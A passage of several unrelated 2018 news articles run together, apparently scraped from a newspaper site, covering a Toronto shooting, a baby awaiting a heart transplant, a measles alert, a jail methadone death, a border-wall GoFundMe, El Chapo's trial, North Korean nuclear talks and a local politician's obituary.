Spadina Ave. He was rushed to hospital, where he later died. A woman also walking in the area suffered a non-life threatening gunshot wound. Police said the suspect fled the area west on King in a vehicle thought to be a blue Mazda. They have released security camera images of the vehicle, as well as a YouTube video showing it. The plate on the vehicle is ATVP 407, but police said it is not registered to that vehicle. Anyone with information about this incident is asked to contact police at 416-808-7400 or Crime Stoppers anonymously at 416-222-TIPS (8477). It was one of seven shootings throughout the city during a violent 24-hour period that left two dead and six injured. She is fighting for time to love her daughter. Ideally years. But shell take months. Hours even. Because Jaiden Cowley knows that every moment with Amira is a gift. It has been since she was born 10 months ago with a broken heart. Amira is waiting for a tiny, strong new one. We didnt know if Amira would make it to Christmas, says Jaiden, herself just 19. I live every day like it could be her last. A life-time ago, on her first day working at a call centre in Hamilton (she was saving for college to become a nurse), Jaiden learned she was pregnant. Nineteen weeks into the pregnancy, she got more news: there was something drastically wrong with the babys heart. It was a congenital defect. Some of the doctors suggested an abortion. Or said Jaiden should have the child, take it home and let it die quietly in the first few days. But Jaiden chose another option to do whatever she could to keep her baby alive. The babys father decided not to be involved. On February 12, at 39-weeks gestation, Jaiden was induced at Sick Kids Hospital in Toronto. A team was ready to whisk the newborn away. I pushed her out and she was gone, says Jaiden, her voice catching. The new mom didnt get to hold her baby. Or even see her. Amira it means princess in Arabic has Heterotaxy Syndrome. Her heart is on the wrong side of her body. And it doesnt have all the right parts. She was 44 hours old when she had her first surgery. Two days after that, she went into cardiac arrest. She died right in front of me, says Jaiden. Amira was placed on life support in the Cardiac Critical Care Unit, her chest left open so doctors could peer in. I saw her little heart, says her mom. It was only the size of a grape. Amira spent 180 days in hospital. During that time, doctors told Jaiden her daughter would need a heart transplant. Jaiden was crushed yet again. Why is the heart that I gave her not working? she agonized. On June 11, Amira was placed on the transplant list, through the Trillium Gift of Hope Registry. Amira is a strong princess and in August, she moved in with her mom at the Ronald McDonald House near Sick Kids. They have been there ever since, seeing specialists and waiting to dash to the hospital should a pediatric donor heart become available. Jaidens mom and other family from Hamilton visit on weekends. Amira is abeautiful girl. She is plump and smiley, often sporting a sparkly cloth headband with a big cheerful bow. She says Mama and her laugh is music. Christmas day will be spent at Ronald McDonald House. Jaiden has to isolate herself and the baby from other guests because she cant risk infection. Right now, Amira is a Status 3 on the Trillium transplant registry. Only Status 4 recipients are more critical, being on the verge of death. Another child whom Jaiden met at Ronald McDonald House just got her new heart. She spent 500 days on the wait list. Pediatric organ donations are a rare commodity. Children just dont die at the rate of adults and those who do are less likely to have their parents consent to be donors. This is why Jaiden is sharing her story. She wants grieving parents to know their donations could save other children. And that a bit of their child can live on. Over the past five years, 65 patients under the age of one have received an organ transplant in Ontario, according to Trillium. There have been nine organ donors under the age of one. Organs are matched by size, blood type and other factors, but not age. Therefore donors under the age of one dont necessarily correspond with the 65 patients under one that received an organ transplant. As of Dec. 17 there are 11 patients under the age of one on the transplant waiting list. If Amira gets a heart, she has a good chance of living until she is 10. After that, she will need another heart transplant, doctors say. That is a lot of agony to go through. There are great risks of complications and Amira will be on anti-rejection drugs forever. So why do it? It only takes Jaiden a heartbeat. I want to know who she is. I want her to know love. A Go Fund Me account called Help Heal Amiras Broken Heart has been set-up to pay for some of her medical supplies that are not covered by OHIP. The goal is $5,000, with about $1,300 being raised so far. A confirmed case of the measles in an adult in Burlington has the Halton Region health department urging residents to check that their immunization is current, as measles is highly contagious and can be transmitted by airborne spread. The health department noted that people who visited Homewood Suites by Hilton or Cogeco in Burlington, Longos in Oakville, Outlet Collection at Niagara in Niagara-on-the-Lake or Amsterdam BrewHouse in Toronto from Dec. 13 to Dec. 17 during specified times might have been exposed. At the Amsterdam BrewHouse Queens Quay W., the exposure period was Dec. 16, from 2:30 to 6 p.m. Click here to see rest of the times and dates of potential exposure With a case of confirmed measles in our community, its imperative that residents protect themselves by ensuring their measles immunization is up-to-date, said Dr. Hamidah Meghani, medical officer of health for Halton Region. Symptoms can include fever, coughing, conjunctivitis, Koplik spots (white spots in the mouth) and a red rash. Sometimes measles can result in hospitalization and one in 1,000 cases is fatal. Measles is so contagious that it can be contracted up to two hours after an infected person has left a space, Meghani said. You dont have to have contact with someone. Just being in the space where they have been can lead to infection. Anyone not vaccinated in the past with measles vaccine (MMR or MMRV) or who hasnt had measles before is at risk. If ones immunization record is not up-to-date, the best thing to do is contact the local public health unit. To find the public health unit in your area, visit phdapps.health.gov.on.ca/phulocator. Meghani said that measles vaccination rates in Halton are 97 per cent for current high school students, according to the latest data. People born before 1970 are often immune because theyve had measles before, she explained. We are using this (confirmed case) as an opportunity to increase awareness about the importance of vaccination and immunization, Meghani said. Infants under one year of age, pregnant women and people with weakened immune systems can get very ill with measles and should contact Halton Region health department or their health-care professional immediately, said Meghani. If you think you may have measles and need to see a doctor, you must call ahead to the doctors office, walk-in clinic or emergency department, according to the health department. This will allow health-care staff to take the necessary precautions to reduce the risk of infection and protect others visiting the office, clinic or hospital. The last confirmed case of measles in Halton was March 2017, Meghani said. In Toronto, five cases have been reported so far this year, all travel-related, with the latest reported in July, the citys public health office said. There were also five reported in 2017, but none the year before that. The average number of cases from 2013 to 2017 is five. With files from Rhianna Jackson-Kelso Read more about: A 51-year-old pastor at a west-end Toronto temple is facing charges after allegedly sexually assaulting a 16-year-old girl. Toronto police allege three separate incidents involving the same victim took place between early October and late November. Daniel George, of Shelburne, Ont., faces three charges including sexual assault and sexual exploitation. Police did not say whether the teen attended the School of Wisdom Outreach Temple, near Jane St. and Alliance Ave., where they say George works as a pastor. Police believe there may be other victims and are continuing to investigate. They say George is known to frequent Toronto, Shelburne, Brampton and Montreal. Teresa Michelle Grattons first dose of methadone should have been no more than 10 milligrams. But the medical staff inside the maximum-security jail where Gratton was being held indefinitely as an immigration detainee started her at 30 milligrams. Thats what caused her death. Gratton died of acute methadone intoxication in the setting of ischemic heart disease, according to the coroners report, which was given to the Star by Grattons husband. Provincial guidelines for methadone treatment say someone in Grattons position should have received a much lower dose than she did. The coroner states in his report that other factors may have contributed to her death, including Grattons pre-existing high blood pressure. She ultimately died of a heart attack in hospital. Three doctors who reviewed the coroners report for the Star say its clear she died of a methadone overdose. Gratton, a U.S. citizen and permanent resident of Canada who lived in London, Ont., was not serving a criminal sentence or awaiting trial, though she was treated the same as those who were. She had been sent to a maximum-security jail because the Canada Border Services Agency was contemplating deporting her and feared she would not show up for her deportation if it were ordered. The agency based its decision on Grattons criminal convictions from 2013, for which she was sentenced to six months of house arrest. Some have argued she should not have been detained in the first place. Read More: Held in maximum security without charge, she begged her husband to get her out. A week later, Teresa Gratton was dead Teresa Grattons final days, in her own words Family of immigration detainee who died in jail still waiting for answers The 50-year-old grandmother was found unresponsive in her cell at the Vanier Centre for Women in Milton just after midnight on Oct. 30, 2017. About 40 hours earlier she was given her first dose of methadone, a long-acting opioid often used to treat addiction to shorter-acting opioids. Gratton had depended on prescription painkillers for many years, but the jails medical staff was trying to wean her off them. She received her second dose of methadone the morning before she died. I suspect if the physician who prescribed this could do it over again, he or she would start on a lower dose, said Dr. David Juurlink, a medical toxicologist and senior scientist at the Institute for Clinical Evaluative Sciences, and one of three opioid-specializing doctors who reviewed Grattons coroners report at the Stars request. All agreed she should have been started on a lower dose of methadone or a different drug altogether. Grattons death was ruled accidental. A coroners inquest has been ordered but has not been scheduled. The Star first reported on Grattons case last December, and again in March when two women who were incarcerated with Gratton came forward to raise concerns about her treatment in the jail. But this is the first time her official cause of death has been reported. Herb Gratton, Teresas husband and partner of more than 30 years, said he is frustrated and angry, but he mostly just misses his wife. The system had her, he said in a recent interview. They were supposed to be responsible. Herb, who is a Canadian citizen from the Caldwell First Nation, says this time of year is particularly difficult. His wife was the one who organized the family get-togethers and did most of the cooking. Christmas does not seem like Christmas, he said. I cant find a reason to celebrate. I have my children, my grandchildren. But theres a void. No matter whos around or whats around, I cant fill it, you know? A mother of three who had lived in Canada since 2003, Teresa Gratton suffered from osteoarthritis and fibromyalgia, a long-term condition of the central nervous system that causes widespread pain. She relied on the opioid hydromorphone and was prescribed a high daily dose by her doctor months before she was incarcerated. When she couldnt get her opioids from a doctor she got them on the street, her husband said. A month before her death she pleaded guilty to forging her doctors signature in an attempt to get an extended supply of hydromorphone. She also took several other prescribed medications, including ones for anxiety and depression. The jails medical staff decided Gratton should not be on opioids. The coroners report references a physicians note in Grattons medical file that reads: SUD (substance use disorder), I agree, no indication for long-term opioid therapy. First they cut her dose by more than half. A week later they tapered her dose further and then withdrew her opioids completely for 10 days before giving Gratton her first dose of methadone. Thirty milligrams, the amount Gratton received in each of her two doses, is the maximum starting dose for methadone treatment, according to guidelines published by the College of Physicians and Surgeons of Ontario. However, the guidelines state that if a patient has been recently abstinent from opioids, as Gratton was, the maximum starting dose should be no more than 10 milligrams. The guidelines do not specify how many days qualify as recent abstinence, but they do say that patients who have not used opioids even for a few days are at a higher risk of overdose. The guidelines also state that patients who are also on benzodiazepines or any sedating drugs, as Gratton was, should be considered at a higher risk for methadone toxicity and therefore should be given a lower starting dose. Two doctors, Dr. Abraham Shedletzky and Dr. Laura Middlestadt, are among the medical staff who work inside the jail. Its not clear who oversaw Grattons treatment or if either doctor administered the methadone. The coroners report doesnt name any doctor as being responsible for Grattons treatment. Middlestadt declined to comment for this story. Shedletzky did not respond to multiple interview requests. Juurlink said he didnt understand why the jails medical staff, even if they believed Gratton should be on a lower dose of opioids, would have tapered her off the drugs entirely. Her brain and body would have become accustomed to that amount of hydromorphone, he said. She would have been physically dependent on it, and when you take it away people get horribly sick. Tapering should be done slowly and generally with the patients consent, he added. Even if there were compelling reasons to reduce Grattons opioid dose and replace it with methadone, Juurlink said someone in Grattons position shouldnt be off opioids for as long as she was. Thats 10 days of putting this patient through hell. Gratton wrote her husband regularly during her time in jail. In her letter she describes the agony of her withdrawal symptoms, which included vomiting, diarrhea, severe muscle pain, constant sweating and depression. Id rather be dead than to keep going through this pain, she wrote in one letter. These doctors think I dont need to be on any of my narcotics. If something bad should happen to me please sue the hell out of them. From the 2017 Star Investigation | Teresa Michelle Gratton died Oct. 30 while being indefinitely detained in a maximum-security jail by the Canada Border Services Agency. Her grieving family wonders why she was there at all. The coroners report says that Gratton filed a complaint to the Office of the Ombudsman of Ontario regarding the reduction of her opioids by the jails medical staff. A spokesperson for the ombudsman said that for confidentiality reasons she could not confirm whether a complaint had been filed. Juurlink also pointed to Grattons concurrent use of clonazepam, which she took to treat panic attacks, as a reason she should have been started on a much lower dose of methadone. Clonazepam belongs to the benzodiazepine class of drugs. It is a tranquilizer that, when combined with methadone, increases the risk of overdose. You have a one-plus-one-equals-five kind of effect, Juurlink said. Theyre both depressants of the central nervous system and its really quite dangerous to combine opioids with drugs like that, especially for a patient who, for all intents and purposes, is opioid naive. Juurlink said Gratton would have lost whatever opioid tolerance she might have had during her 10 days without the drug. A spokesperson for Ontarios Ministry of Community Safety and Correctional Services, which is responsible for provincial jails, said no one from the ministry would be interviewed for this story. They also declined to answer specific questions about Grattons case, citing the pending inquest. The spokesperson provided a written statement, which reads, in part: Decisions about health care matters are between inmates and medical staff. The ministry does not interfere with medical decisions or direct medical professionals. Dr. Ramesh Zacharias, the coroner, writes in his report that its unclear whether Gratton should be considered a completely naive user in the context of methadone maintenance therapy. Zacharias notes that although Gratton had not consumed opioids for 10 days before her first dose of methadone, prior to that period she was a longtime user and abuser of hydromorphone. Dr. Meldon Kahan, medical director of the Substance Use Service at Womens College Hospital, said it is unusual for just two doses of 30 milligrams of methadone to cause death. However, given Grattons recent abstinence from opioids and the fact she was on other sedating medications it might have been more prudent to start her on a different drug or a lower dose. Kahan said it would have been better for the jails medical staff to prescribe buprenorphine, another long-acting opioid used to treat addiction, rather than methadone. Its much safer than methadone, he said. Its much safer than simply stopping the opioid, and its much safer than keeping them on the opioid that theyre already on. Juurlink agreed, calling buprenorphine an infinitely safer medication. A ministry spokesman refused to say whether buprenorphine was available to doctors inside the jail. Gratton died after suffering a heart attack in hospital roughly nine hours after she was found unresponsive in her cell. Zacharias writes in his report that he couldnt attribute methadone intoxication as the sole cause of death because of uncertainties around Grattons tolerance, his inability to determine the peak concentrations of methadone in her blood when she lost consciousness, and because her body did not immediately respond to naloxone a drug that can reverse the effects of opioids when it was administered by paramedics. Its not clear for how long Gratton had been unconscious when her cellmate, who had been sleeping, alerted jail guards. Zacharias also notes that a methadone overdose can itself increase the risk of a heart attack. The doctors who reviewed the report for the Star said its clear an overdose of methadone was the cause of death, whether or not she suffered other heart complications. Juurlink said that the vomiting and diarrhea Gratton experienced during her withdrawal would have left her with lower potassium and magnesium, which would have amplified the effects of methadone on her heart. Methadone can kill you in more than one way, he said. Besides how she died, there are also questions about why Gratton was detained in the first place and why she was held in a maximum-security jail questions that could be raised as part of the inquest. The CBSAs grounds for stripping her permanent residency were for serious criminality, which is defined in part as any conviction that leads to a term of imprisonment of more than six months. Gratton came to be in police custody in September 2017 after she was arrested for shoplifting at Walmart, but the CBSAs finding of serious criminality was related to convictions from 2013, when she pleaded guilty to forging a former employers signature on cheques for amounts ranging from $100 to $250. (Gratton admitted forging the signatures, but she believed the man owed her the money for house cleaning, according to a court transcript.) She also pleaded guilty to unlawfully being in the mans house, although she did not break in. She was given a nine-month conditional sentence, which included six months of house arrest but no jail time. The CBSA interpreted Grattons conditional sentence as a term of imprisonment of more than six months, meaning she would have no right to appeal her deportation. On Oct. 19, 2017 11 days before Gratton died the Supreme Court of Canada struck down such interpretations, ruling it was unreasonable for immigration authorities to equate conditional sentences, such as house arrest, with jail time. Immigration authorities have also not clarified why Gratton, who was not considered a danger to the public and had no history of violence, was classified as a high-risk detainee and sent to a maximum-security jail. By the CBSAs own policies her minimal, non-violent criminal record should have made her eligible for the Immigration Holding Centre, a far less restrictive facility. A CBSA spokesperson has said the agency decided maximum-security jail was a better choice for Gratton due to various case-specific factors. The spokesman would not explain the factors that led to their decision, citing a need to protect Grattons privacy. The location of detention for immigration detainees is decided solely by the CBSA and not subject to any external oversight. Read more about: If neither Mexico nor Congress is going to fund U.S. President Donald Trumps border wall, then Brian Kolfage has a more expedient plan: GoFundMe. In just four days, the military veterans crowdsourced campaign for construction of the border wall has raked in more than $2.5 million (U.S.) in donations from more than 43,000 people as of early Thursday. Kolfage, a triple amputee who won a Purple Heart while serving in Iraq, is aiming to raise $1 billion for wall funding through the GoFundMe. He proposed on the GoFundMe page that if every one of the 63 million people who voted for Trump donated $80, they would get the wall that Trump promised them, echoing an idea included in a New York Post column over the weekend. The 37-year-old Air Force vet of Miramar Beach, Florida, said in an email to The Washington Post that he decided to start the campaign on Sunday because political games from both parties have been holding back funding for the wall. He said his campaign, We The People Will Fund The Wall, was about giving the people the power. Its time to stop playing games with voters, Kolfage said in an email. If we are told were getting something, make it happen. The campaign picked up steam this week, when Trump on Tuesday abandoned his demands that Congress allocate $5 billion for the wall or face a government shutdown. Trump had previously said he would be proud to shut down the government to get his wall money. But it quickly became apparent that lawmakers on both sides of the aisle were not fond of that proposal. On Wednesday, Congress passed a short-term spending bill to avoid a shutdown by the Friday deadline but that bill contained no money for Trumps border wall, leaving its future in question as Democrats take over the House next month. White House press secretary Sarah Sanders said Tuesday that the administration would be seeking other ways to fund the wall, such as by pooling available funds from other government agencies. Trump promised Wednesday morning on Twitter that one way or another, we will win on the Wall! Read more: Senate approves bill to keep government running into 2019 Trump faces scathing criticism from supporters on wall funds White House digs in on border wall demand, risking shutdown Could the government just take all the GoFundMe cash that Kolfage ends up raising? Its complicated. Republican lawmakers have introduced bills seeking to allow the Treasury Department to accept public donations for the purpose of funding the wall. Reps. Warren Davidson, R-Ohio, and Diane Black, R-Tenn., have both filed bills seeking to create a Border Wall Trust Fund, which Blacks bill specifies would be appropriated to the Department of Homeland Security. Blacks proposal would even create a commemorative display, honouring all the donors who chipped in. But those bills are just sitting in committee and would seem unlikely to have much chance once Democrats take control of the House. But Kolfage cited the possibility of new legislation on his GoFundMe page, assuring donors that he would find a way to ensure that 100 percent of your donations will go to the Trump Wall. He assured them it would be possible by pointing to the 2012 Washington Monument restoration project. Congress allocated $7.5 million to repair damage to the monument following the 2011 East Coast earthquake, but sought a matching donation from the private sector. A philanthropist billionaire stepped up to help through the Trust for the National Mall, a non-profit public-private partnership with the National Park Service. Kolfage said he has established contact with the Trump administration, but declined to elaborate. White House officials could not immediately be reached for comment on the fundraising effort. Kolfages campaign is far from the only private plan seeking to help the president pay for the wall, but is by far the most successful to date. Dozens of people have attempted to launch GoFundMe campaigns to help Trump fulfil his most ardent campaign promise, with most flopping after raising between a couple hundred to a couple thousand dollars, or even nothing. Kolfage, however, has one thing the others dont: the distinguished status as the most severely wounded airman to survive his injuries in history, as he put it on his website. On Sept. 11, 2004, during Kolfages second deployment for Operation Iraqi Freedom, the airman woke in the middle of the afternoon feeling thirsty, and he left his tent to get water, according to his website. It was the last journey he would make on his feet. Within moments, his airbase fell under attack. A 107 mm rocket shell exploded about three feet away from him, sending him airborne. The blast slammed him into a wall of sandbags. Bloodied but still conscious, Kolfage landed on the ground and yelled out for help. His right hand was hanging from his wrist by a thread, according to his biography. His legs were mangled, his lung collapsed. But Kolfage, who lost three of his limbs, managed to survive after returning to Washington for marathon surgery within 36 hours of the attack. Hes since gained a national profile. He became a motivational speaker and has dabbled in politics, saying that he filmed a campaign ad for Rep. Gabrielle Giffords, D-Ariz., months before she was shot. He later attended President Barack Obamas State of the Union address as her special guest in 2012. Kolfage described his politics as funky, preferring straight shooters but not confined to one party. An ardent Trump supporter, he said on his GoFundMe page that his support from the wall stemmed from the belief that too many Americans have been murdered by illegal aliens and too many illegals are taking advantage of the United States taxpayers with no means of every contributing to our society. For those who have questioned the feasibility of a crowdsourced national security project, Kolfage told The Post: Theres always a way to do something. People who say you cant would never survive living in my life. I keep hearing, you cant, or Its not even legal, but those are the people who will never step up to try to make a difference. Anything is possible. Read more about: OPP, ALA.A rural Alabama police department that used social media to scold community members for rejecting God came under fire from a group that opposes mixing government and religious faith. A statement the Opp Police Department posted Tuesday on Facebook blamed a spike in area homicides on the idea that young people have turned away from God and embraced Satan. The post followed two gunshot killings in as many days in Covington County on the Alabama-Florida line. But the Wisconsin-based Freedom From Religion Foundation said police in the town of 6,500 people were wrongly promoting religion with the social media message. Its illegal for a government entity to endorse or criticize religious belief, the group said in a statement. Opp police didnt immediately return a phone call Thursday seeking comment, but the post was removed from the departments Facebook page. Written in all capital letters, the departments message said five homicides had occurred in the county in 2018. THESE MURDERS HAVE BEEN DONE BY OUR YOUNG PEOPLE. THIS IS HAPPENING BECAUSE WE HAVE TURNED AWAY FROM GOD AND EMBRACED SATAN. WE MAY HAVE NOT MEANT TO DO SO BUT, WE HAVE. IT IS TIME TO ASK FOR GODS HELP TO STOP THIS, part of the post read. An attorney for the Freedom From Religion group, Sam Grover, said the message crossed the line between separation of church and state. The department has very directly endorsed one religious ideology to the exclusion of minority religions and atheism, and decried Satanism. Neither message is permissible, Grover said in a statement. Other Alabama police agencies have invoked God in an effort to stem crime. One former Birmingham police chief, A.C. Roper, held prayer walks through neighbourhoods; another, Annetta Nunn, promoted a Bible-based plan of instilling civic responsibility. NEW YORKNotorious drug kingpin Joaquin El Chapo Guzman was reduced to tears Thursday when his twin daughters made a surprise visit to his drug trafficking trial in Brooklyn. He was visibly crying, eyes bright red and dabbing at his eyes, his lawyer Eduardo Balarezo told the New York Daily News. He last saw them in August. Aside from his legal defence, Guzmans daughters, Emaly and Maria, are the only visitors permitted to visit him at Metropolitan Correctional Center in lower Manhattan, where he has been held in isolation since his extradition to the U.S. in January 2016. Guzmans wife, Emma Coronel, 29, flew into New York with the couples daughters late Wednesday after being noticeably absent for a week from the trial shes dutifully attended since opening statements began Nov. 15. The girls are scheduled to visit him at the federal prison on Friday. Wearing little white blazers with matching black bows in their hair, the twin girls sat fixated on their father while a Colombian law enforcement officer testified on the stand about drug seizures. Read more: Prosecutors seek sanctions against El Chapo lawyers for facilitating unauthorized contact with wife Ex-Mexico security chief was bribed, says El Chapo trial witness Judge denies El Chapo hug request Guzman, 61, has pleaded not guilty to more than a dozen felony charges including money laundering, conspiracy, firearms and international distribution of cocaine, methamphetamine, heroin, and marijuana. Prosecutors claim he led the notorious Sinaloa Cartel, believed at one point to have been responsible for more than half of illegal drug contraband smuggled over the Southern U.S. border each year. Guzmans lawyers say hes been scapegoated in a vast conspiracy plotted by the prosecutions co-operating witnesses who they argue are hoping to obtain visas for their testimony and officials at the highest levels of the Mexican government. In a TV interview with Telemundo last week, Coronel said she planned to attend as much of the estimated three-month trial as possible but admitted its been exhausting. I think its what any wife would do, being by their husbands side in difficult times, like the ones hes going through right now, she said. Obviously I want to see him, I want to be with him. I want to know whats going on. Coronel described her husband as a humble and simple family man. Sometimes I feel the media has overexposed him, the former beauty queen said. I feel people created an image of him, and they want that image to remain in the publics consciousness. Its the image that sells. So when someone says hes a humble and simple man, they dont like to hear that. She said Guzman appears thinner since his extradition to the U.S. last year, but she believes hes staying positive during the trial expected to last three months. Asked if her husband enjoys his fame and notoriety, Coronel said she believes he does. Honestly, I think he did. He does, a bit, she said. In a way, I think he sees it in a positive way. He likes the media pressure because it ensures transparency. That way people can see whats really going on, and who he really is. He wants everyone to know the truth. The American-born daughter of a Mexican cattle rancher said she hasnt really considered testifying on her husbands behalf when its time to mount his defence. She said its too soon for people to pass judgment on her family. Hes a defendant on trial. People are looking at him like hes already been declared guilty. Id like to clear that up. Hes still on trial. We have to wait to see if all those serious accusations ... are proven, she said. Coronel said shes not even considering the possibility her husband might be found guilty and sentenced to life in prison. I want to think that everything will be all right. I want to think about positive things, she said. She said her dream is to move somewhere top secret after the trial and lead a quiet life. I want to be well and be in some part of the world where we can live normal, peaceful lives, she said. I dont have big dreams. I want to be happy and at peace. Read more about: SEOUL, KOREA, REPUBLIC OF North Korea said Thursday it will never unilaterally give up its nuclear weapons unless the United States first removes what Pyongyang called a nuclear threat. The surprisingly blunt statement jars with Seouls rosier presentation of the North Korean position and could rattle the fragile trilateral diplomacy to defuse a nuclear crisis that last year had many fearing war. The latest from North Korea comes as the United States and North Korea struggle over the sequencing of the denuclearization that Washington wants and the removal of international sanctions desired by Pyongyang. The statement carried by the Norths official Korean Central News Agency also raises credibility problems for the liberal South Korean government, which has continuously claimed that North Korean leader Kim Jong Un is genuinely interested in negotiating away his nuclear weapons as Seoul tries to sustain a positive atmosphere for dialogue. The Norths comments may also be seen as proof of what outside skeptics have long said: that Kim will never voluntarily relinquish an arsenal he sees as a stronger guarantee of survival than whatever security assurances the United States might provide. The statement suggests North Korea will eventually demand the United States withdraw or significantly reduce the 28,500 American troops stationed in South Korea, a major sticking point in any disarmament deal. Kim and President Donald Trump met June 12 in Singapore where they agreed on a vague goal for the complete denuclearization of the Korean Peninsula without describing when and how it would occur. The leaders are trying to arrange another meeting for early next year. But North Korea for decades has been pushing a concept of denuclearization that bears no resemblance to the American definition, with Pyongyang vowing to pursue nuclear development until the United States removes its troops and the nuclear umbrella defending South Korea and Japan. In Thursdays statement, the North made clear its sticking to its traditional stance on denuclearization. It accused Washington of twisting what had been agreed on in Singapore and driving post-summit talks into an impasse. The United States must now recognize the accurate meaning of the denuclearization of the Korean Peninsula, and especially, must study geography, the statement said. Read more: Hard-line U.S. sanctions will block path to denuclearization, North Korea warns North Korea fixer is second Canadian probed by China spy agency Trump wants to grant Kim Jong Uns wishes, says South Korea president When we talk about the Korean Peninsula, it includes the territory of our republic and also the entire region of (South Korea) where the United States has placed its invasive force, including nuclear weapons. When we talk about the denuclearization of the Korean Peninsula, it means the removal of all sources of nuclear threat, not only from the South and North but also from areas neighbouring the Korean Peninsula, the statement said. The United States removed its tactical nuclear weapons from South Korea in the 1990s. Washington and Seoul have not responded to the North Korean statement. North Koreas reiteration of its long-standing position on denuclearization could prove to be a major setback for diplomacy, which was revived early this year following a series of provocative nuclear and missile tests that left Kim and Trump spending most of 2017 exchanging personal insults and war threats. The statement could jeopardize a second Trump-Kim summit as the United States may have difficulty negotiating further if the North ties the future of its nukes to the U.S. military presence in the South, analysts said. South Korean President Moon Jae-in, who met Kim three times this year and lobbied hard for the Trump-Kim meeting, has said Kim wasnt demanding the withdrawal of U.S. troops from the Korean Peninsula as a precondition for abandoning his nuclear weapons. But Kim has never made such comments in public. The blunt statement could be an indicator that the North has no intentions to return to the negotiation table anytime soon, said Shin Beomchul, a senior analyst at Seouls Asan Institute for Policy Studies. Its clear that the North intends to keep its nukes and turn the diplomatic process into a bilateral arms reduction negotiation with the United States, rather than a process where it unilaterally surrenders its program. Yang Moo-jin, a professor at Seouls University of North Korean Studies, said its unlikely that the North would push things too far and allow the momentum for dialogue to collapse. Pyongyang has been strengthening its demands for the removal of sanctions and its latest statement is another attempt to win concessions from Washington, Yang said. Pyongyang is sending a message to Washington that confrontation and dialogue cannot coexist, Yang said. The nuclear negotiations between Washington and Pyongyang have stalled since the Trump-Kim meeting. The United States wants North Korea to provide a detailed account of nuclear and missile facilities that would be inspected and dismantled under a potential deal, while the North is insisting that sanctions be lifted first. Since engaging in diplomacy, North Korea has unilaterally dismantled its nuclear testing ground and parts of a missile engine test facility and suspended nuclear and long-range missile tests. However, none of those moves were verified by outsiders, and most experts say they fall short as material steps toward denuclearization. In the third meeting between Kim and Moon in September, the North also said it would dismantle its main nuclear facility in Nyongbyon if the United States takes corresponding measures, which the state media later specified as sanctions relief. Kim declared his nuclear force was complete after the torrent of weapons tests in 2017, including the detonation of a purported thermonuclear weapon and three test-flights of intercontinental ballistic missiles potentially capable of reaching the U.S. mainland. Several reports from private analysts in recent weeks have accused North Korea of continuing nuclear and missile development, citing details from commercial satellite imagery. If we unilaterally give up our nuclear weapons without any security assurance despite being first on the U.S. list of targets for pre-emptive nuclear strikes, that wouldnt be denuclearization it would rather be a creation of a defenceless state where the balance in nuclear strategic strength is destroyed and the crisis of a nuclear war is brought forth, the KCNA said. The corresponding measures we have asked the United States to take arent difficult for the United States to commit to and carry out. We are just asking the United States to put an end to its hostile policies (on North Korea) and remove the unjust sanctions, things it can do even without a snap of a finger. The North Korean statement came a day after Stephen Biegun, the Trump administrations special envoy on North Korea, told reporters in South Korea that Washington was reviewing easing travel restrictions on North Korea to facilitate humanitarian shipments to help resolve the impasse in nuclear negotiations. During his four-day visit, Biegun plans to discuss with South Korean officials the allies policies on North Korea, including the enforcement of sanctions. The meetings are likely to include conversations about a groundbreaking ceremony the Koreas plan to hold at the border village of Panmunjom next week for an aspirational project to reconnect their roads and railways. The North has yet to respond to Bieguns comments. Read more about: Delaware County politics suffered a striking blow last week with the death of Cliff Wilson, the former longtime Democratic Party chairman and current Southeast Delco School Board member. He was a true giant in the Democratic Party and in Delaware County Democratic Party history, said David Landau, who succeeded Wilson as the party head in 2010. Wilson died Friday afternoon following a long battle with liver disease. He would have been 72 years old Tuesday. He spent a decade and a half or more than a decade and a half, 16 years serving the entire county with great dedication during difficult times, said Colleen Guiney, who took up the mantle of Delco Democratic Party chair earlier this year. He is fondly remembered by hundreds of volunteers who worked with him over the years to build the foundation of our party. Landau said Wilson instituted a number of reforms that opened the doors to the rank and file during his tenure as the local party head, including county conventions that allowed for a more democratic candidate selection process. It was a thankless job to be chair of the Democratic Party in the 90s and the early 2000s, in the sense that it was very difficult the county was two-to-one Republican but he stood there and he stayed with it, said Landau. He didnt just give up after one term, he stayed for four terms and really made his mark and laid the foundation for the modern Democratic Party. Guiney said she had many interesting conversations with Wilson since first meeting him in 2004 and that he supported her in taking the reins for the party. I just wish his family well in this very difficult time, she said. We just remember him fondly and are grateful for his service, and hope that his legacy blossoms and flourishes. Wilson also served in a number of other political capacities over the years, including a stint as Folcroft Borough executive director, chairman of the Southeast Delco Democratic Party, chairman of the Radnor Democratic Party, as a member of the Delaware County Board of Elections and as a special assistant to U.S. Rep. Bob Brady. He also recently joined the Association for Professional Genealogists. Before moving to Pennsylvania, Wilson served for eight years in the New York State Assembly, where he was the chairman of the Election Law Committee and the Administrative Regulations Review Commission. His chief of staff in that position, Newsmax columnist John Tantillo, remembered him as a man who could cut to the heart of any political issue. He had a way of explaining politics to the man on the street so that they could understand what it was about, said Tantillo. Tantillo remembered one instance where Wilson, working on then-U.S. Sen. John Glenns 1984 presidential run, stood up to the candidate over siding with the Turks in the Cypress Conflict by pointing out the very low number of Turks living in America at the time when compared to millions of Greeks. He said, Sen. Glenn, do you think maybe you could reconsider your position on Cypress?' said Tantillo. Thats what politics is about, that maybe a few people here today could learn about its all about the numbers. Thats what he was able to say in a very unthreatening way, because he did it in kind of a joking fashion. He did it so perfectly because he was the perfect gentleman. He would put it in a perspective so that it would benefit anyone who was listening, said daughter Erica Wilson. It was always fun watching him in politics. He was really dedicated and intense, and it was his passion, and it came across that way, so it was fun watching him. Erica Wilson said her father had provided this quote to be used on a memorial plaque shortly before his death, which will be included on his prayer card: I believe in Democracy like other people believe in religion. We were born into campaigning for him, she said. My mom was pregnant while handing out stuff for him and then we would, as little kids, play at polling places and walk around handing out stuff, so we were always with him in a political atmosphere. Erica and her sister, Dr. Sharon Wilson, who also sits on the Southeast Delco School Board, said their father was very proud of reforming fire drills in New York schools during his time as an assemblyman and standing against a bill that would remove doctors from children with disabilities. If he was passionate about something, he knew all the details, so he could debate it awesomely because he knew all the facts, said Sharon Wilson. Thats what made him so strong. Tantillo said Wilson had an encyclopedic knowledge of presidents and presidential elections, but his daughters said he also maintained a voracious appetite for history and an almost freakish recall ability for all manner of information. Wilson had the ability to make history come alive in the telling by adding small details and nuance, according to his daughters, especially in his research of their own family history. He did not simply know names and dates, said Sharon Wilson, but would find stories of the people he was researching that he could relate during visits to the graves of long gone family members. If I had a question about anything historical, I could simply ask him and he would know, and possibly even tell me which book to get that knowledge out of that was in the house, said Erica Wilson. Wilson was also very proud of the surge in Democratic voters in the county, his daughters said, which now outnumber Republicans, as well as the historic wins for 